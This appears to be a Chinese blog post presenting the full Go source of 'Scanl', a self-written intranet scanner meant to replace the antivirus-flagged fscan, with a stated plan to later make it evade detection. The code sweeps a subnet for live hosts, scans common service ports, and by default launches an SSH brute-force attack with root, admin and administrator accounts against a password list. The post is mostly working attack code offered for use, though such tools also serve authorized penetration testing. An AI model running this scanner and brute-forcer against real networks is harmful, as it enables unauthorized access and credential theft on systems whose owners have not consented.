【安全开发】内网扫描器

avatar
作者
筋斗云
阅读量:1

文章目录


前言

为什么要写这个?

  1. fscna被杀的概率太高(哪天二开一下免杀)。
  2. go还在学习的阶段正是写项目的时候,边写边学习go项目。
  3. 自己写的项目改起来更加方便。
  4. 实现功能暂时定为网段扫描和暴力破解和输出文档。

现实现的功能较少后序开发会逐步加入简单漏洞探探测和代理功能。

一、开发过程

项目已经打包上传至github:https://github.com/19xinan/Scanl

1.项目结构

项目结构非常简单,现在开发的基本功能包括主机存活探测、端口扫描、暴力破解功能其他功能后序开发。

scanl/ |-- main.go //程序入口,主函数包括命令格式和网段格式限制 |-- core/ |   |-- scanner.go// 扫描器,包括线程控制 |   |-- services.go//服务识别 |-- bruteforce/ |   |-- bruteforce.go//暴力破解模版 |-- pass.txt//暴力破解使用的密码文件 

2.main.go

1.实现网段限制
2.实现网段存活探测
3.实现命令行参数限制
4.实现输出扫描结果文档

package main  import ( 	"flag" 	"fmt" 	"net" 	"os" 	"sync" 	"time"  	"scanl/bruteforce" 	"scanl/core" )  func main() { 	fmt.Println(`   ██████  ▄████▄   ▄▄▄       ███▄    █  ██▓     ▒██    ▒ ▒██▀ ▀█  ▒████▄     ██ ▀█   █ ▓██▒     ░ ▓██▄   ▒▓█    ▄ ▒██  ▀█▄  ▓██  ▀█ ██▒▒██░       ▒   ██▒▒▓▓▄ ▄██▒░██▄▄▄▄██ ▓██▒  ▐▌██▒▒██░     ▒██████▒▒▒ ▓███▀ ░ ▓█   ▓██▒▒██░   ▓██░░██████▒ ▒ ▒▓▒ ▒ ░░ ░▒ ▒  ░ ▒▒   ▓▒█░░ ▒░   ▒ ▒ ░ ▒░▓  ░ ░ ░▒  ░ ░  ░  ▒     ▒   ▒▒ ░░ ░░   ░ ▒░░ ░ ▒  ░ ░  ░  ░  ░          ░   ▒      ░   ░ ░   ░ ░          ░  ░ ░            ░  ░         ░     ░  ░          ░ 	`)  	// 解析命令行参数:-h网段、-all全端口、-t线程数、-pwd指定密码文件、-output指定输出文件名(不指定默认输出) 	subnet := flag.String("h", "", "Target subnet for scanning (e.g., 192.168.10.0/24)") 	allPorts := flag.Bool("all", false, "Scan all ports (0-65535)") 	threads := flag.Int("t", 100, "Number of concurrent threads") 	passwordFile := flag.String("pwd", "pass.txt", "Password file for bruteforce") 	outputFile := flag.String("output", "scan_results.txt", "Output file for scan results") 	flag.Parse() 	//检查网段 	if *subnet == "" { 		fmt.Println("Usage: ScanL.exe -h <target_subnet> [-all] [-t N] [-pwd pass.txt] [-output scan_results.txt]") 		os.Exit(1) 	}  	// 打开输出文件 	outputFileHandle, err := os.OpenFile(*outputFile, os.O_CREATE|os.O_WRONLY|os.O_TRUNC, 0644) 	if err != nil { 		fmt.Printf("Error opening output file: %v\n", err) 		os.Exit(1) 	} 	defer outputFileHandle.Close()  	// 解析网段 	ips, err := expandCIDR(*subnet) 	if err != nil { 		fmt.Fprintf(outputFileHandle, "Error parsing subnet: %v\n", err) 		os.Exit(1) 	}  	var wg sync.WaitGroup 	var mutex sync.Mutex 	var aliveHosts []string  	// 检测存活主机并输出到终端和文件 	for _, ip := range ips { 		wg.Add(1) 		go func(ip string) { 			defer wg.Done() 			if isHostAlive(ip) { 				mutex.Lock() 				aliveHosts = append(aliveHosts, ip) 				mutex.Unlock() 				fmt.Printf("Host %s is alive\n", ip) 				fmt.Fprintf(outputFileHandle, "Host %s is alive\n", ip) 			} else { 				fmt.Printf("Host %s is not alive\n", ip) 				fmt.Fprintf(outputFileHandle, "Host %s is not alive\n", ip) 			} 		}(ip) 	}  	wg.Wait()  	// 输出存活主机到文件 	fmt.Fprintln(outputFileHandle, "Alive hosts in subnet:") 	for _, ip := range aliveHosts { 		fmt.Fprintln(outputFileHandle, ip) 	}  	var ports []int 	if *allPorts { 		ports = make([]int, 65536) 		for i := 0; i <= 65535; i++ { 			ports[i] = i 		} 	} else { 		ports = []int{21, 22, 23, 25, 53, 80, 110, 119, 123, 143, 161, 194, 443, 445, 465, 587, 993, 995, 1433, 1521, 1723, 3306, 3389, 5900, 8080, 8443, 8888, 9090, 7001, 9999, 6379, 9200, 9300, 27017} // 精简端口列表 	}  	// 扫描主机并输出结果到终端和文件 	for _, ip := range aliveHosts { 		fmt.Fprintf(outputFileHandle, "Scanning host: %s\n", ip) 		fmt.Printf("Scanning host: %s\n", ip) 		results := core.ScanPorts(ip, ports, *threads)  		fmt.Fprintf(outputFileHandle, "Open ports on host %s:\n", ip) 		fmt.Printf("Open ports on host %s:\n", ip) 		for port, service := range results { 			if service != "Closed" { 				fmt.Fprintf(outputFileHandle, "Port %d: %s\n", port, service) 				fmt.Printf("Port %d: %s\n", port, service) 			} 		}  		// 默认启用暴力破解模块,针对开启了SSH或RDP的端口 		if service, found := results[22]; found && service == "SSH" { 			fmt.Fprintln(outputFileHandle, "Starting bruteforce attack on SSH...") 			fmt.Println("Starting bruteforce attack on SSH...") 			bruteforce.Bruteforce(ip, 22, *passwordFile) 		} 		//RDP实现有问题暂存 		//if service, found := results[3389]; found && service == "RDP" { 		//	fmt.Fprintln(outputFileHandle, "Starting bruteforce attack on RDP...") 		//	fmt.Println("Starting bruteforce attack on RDP...") 		//	bruteforce.Bruteforce(ip, 3389, *passwordFile) 		//}  		fmt.Fprintln(outputFileHandle, "---------------------------------------------") 		fmt.Println("---------------------------------------------") 	}  	fmt.Printf("Scan results saved to %s\n", *outputFile) }  // expandCIDR 解析网段,生成所有 IP 地址 func expandCIDR(cidr string) ([]string, error) { 	ip, ipNet, err := net.ParseCIDR(cidr) 	if err != nil { 		return nil, err 	}  	var ips []string 	for ip := ip.Mask(ipNet.Mask); ipNet.Contains(ip); inc(ip) { 		ips = append(ips, ip.String()) 	}  	// 排除网络地址和广播地址 	lenIPs := len(ips) 	switch { 	case lenIPs < 2: 		break 	case lenIPs > 2: 		ips = ips[1 : len(ips)-1] 	}  	return ips, nil }  // IP地址递增 func inc(ip net.IP) { 	for j := len(ip) - 1; j >= 0; j-- { 		ip[j]++ 		if ip[j] > 0 { 			break 		} 	} }  // isHostAlive 检测主机是否存活 func isHostAlive(ip string) bool { 	timeout := 2 * time.Second 	conn, err := net.DialTimeout("ip4:icmp", ip, timeout) 	if err != nil { 		return false 	}  	defer conn.Close() 	return true }  

3.core模块

3.1 scanner.go

package core  import ( 	"fmt" 	"net" 	"sync" 	"time" )  // ScanPorts 扫描指定主机的指定端口,使用指定数量的并发线程 func ScanPorts(host string, ports []int, threads int) map[int]string { 	results := make(map[int]string) 	var mu sync.Mutex 	var wg sync.WaitGroup 	portChan := make(chan int, len(ports))  	// 启动指定数量的goroutines 	for i := 0; i < threads; i++ { 		wg.Add(1) 		go func() { 			defer wg.Done() 			for port := range portChan { 				service := scanPort(host, port) 				mu.Lock() 				results[port] = service 				mu.Unlock() 			} 		}() 	}  	// 将所有端口放入通道 	for _, port := range ports { 		portChan <- port 	} 	close(portChan)  	wg.Wait() 	return results }  // scanPort 扫描单个端口 func scanPort(host string, port int) string { 	address := fmt.Sprintf("%s:%d", host, port) 	conn, err := net.DialTimeout("tcp", address, 1*time.Second) 	if err != nil { 		return "Closed" 	} 	defer func(conn net.Conn) { 		err := conn.Close() 		if err != nil {  		} 	}(conn) 	return identifyService(port) }  

3.2 service.go

package core  // identifyService 根据端口号识别服务 func identifyService(port int) string { 	services := map[int]string{ 		21:    "FTP", 		22:    "SSH", 		23:    "Telnet", 		25:    "SMTP", 		53:    "DNS", 		80:    "HTTP", 		110:   "POP3", 		119:   "NNTP", 		123:   "NTP", 		143:   "IMAP", 		161:   "SNMP", 		194:   "IRC", 		443:   "HTTPS", 		445:   "SMB", 		465:   "SMTPS", 		587:   "Submission", 		993:   "IMAPS", 		995:   "POP3S", 		1433:  "MSSQL", 		1521:  "Oracle DB", 		1723:  "PPTP", 		3306:  "MySQL", 		3389:  "RDP", 		5900:  "VNC", 		8080:  "HTTP-Proxy", 		8443:  "HTTPS-Alt", 		8888:  "HTTP-Alt", 		9090:  "Weblogic", 		7001:  "Weblogic-Alt", 		9999:  "HTTP-Alt2", 		6379:  "Redis", 		9200:  "Elasticsearch", 		9300:  "Elasticsearch-Transport", 		27017: "MongoDB", 	}  	if service, found := services[port]; found { 		return service 	} 	return "Unknown" } 

4.bruteforc

这里少了rdp的爆破

4.1 bruteforce.go

package bruteforce  import ( 	"bufio" 	"fmt" 	"os" 	"sync" 	"time"  	"golang.org/x/crypto/ssh" )  // 默认账号列表 var defaultAccounts = []string{"root", "admin", "administrator"}  // Bruteforce 执行暴力破解攻击 func Bruteforce(host string, port int, passwordFile string) { 	passwords, err := readPasswords(passwordFile) 	if err != nil { 		fmt.Printf("Error reading password file: %v\n", err) 		return 	}  	var wg sync.WaitGroup 	wg.Add(len(defaultAccounts) * len(passwords))  	// 并发尝试不同的账号和密码组合 	for _, account := range defaultAccounts { 		for _, password := range passwords { 			go func(host string, port int, account string, password string) { 				defer wg.Done() 				fmt.Printf("Trying account: %s, password: %s\n", account, password) 				if sshLogin(host, port, account, password) { 					fmt.Printf("SSH login successful: %s:%s@%s\n", account, password, host) 				} 			}(host, port, account, password) 		} 	}  	wg.Wait() }  // readPasswords 读取密码文件 func readPasswords(filePath string) ([]string, error) { 	file, err := os.Open(filePath) 	if err != nil { 		return nil, err 	} 	defer func(file *os.File) { 		err := file.Close() 		if err != nil {  		} 	}(file)  	var passwords []string 	scanner := bufio.NewScanner(file) 	for scanner.Scan() { 		passwords = append(passwords, scanner.Text()) 	}  	if err := scanner.Err(); err != nil { 		return nil, err 	}  	return passwords, nil }  // sshLogin 尝试使用SSH登录 func sshLogin(host string, port int, username, password string) bool { 	config := &ssh.ClientConfig{ 		User: username, 		Auth: []ssh.AuthMethod{ 			ssh.Password(password), 		}, 		HostKeyCallback: ssh.InsecureIgnoreHostKey(), 		Timeout:         5 * time.Second, 	}  	conn, err := ssh.Dial("tcp", fmt.Sprintf("%s:%d", host, port), config) 	if err != nil { 		return false 	} 	defer func(conn *ssh.Client) { 		err := conn.Close() 		if err != nil {  		} 	}(conn) 	return true } 

二、使用步骤

ScanL.exe -h 192.168.10.1/24 其他参数 ScanL.exe -h <target_subnet> [-all] [-t N] [-pwd pass.txt] [-output scan_results.txt] 

请添加图片描述

广告一刻

为您即时展示最新活动产品广告消息,让您随时掌握产品活动新动态!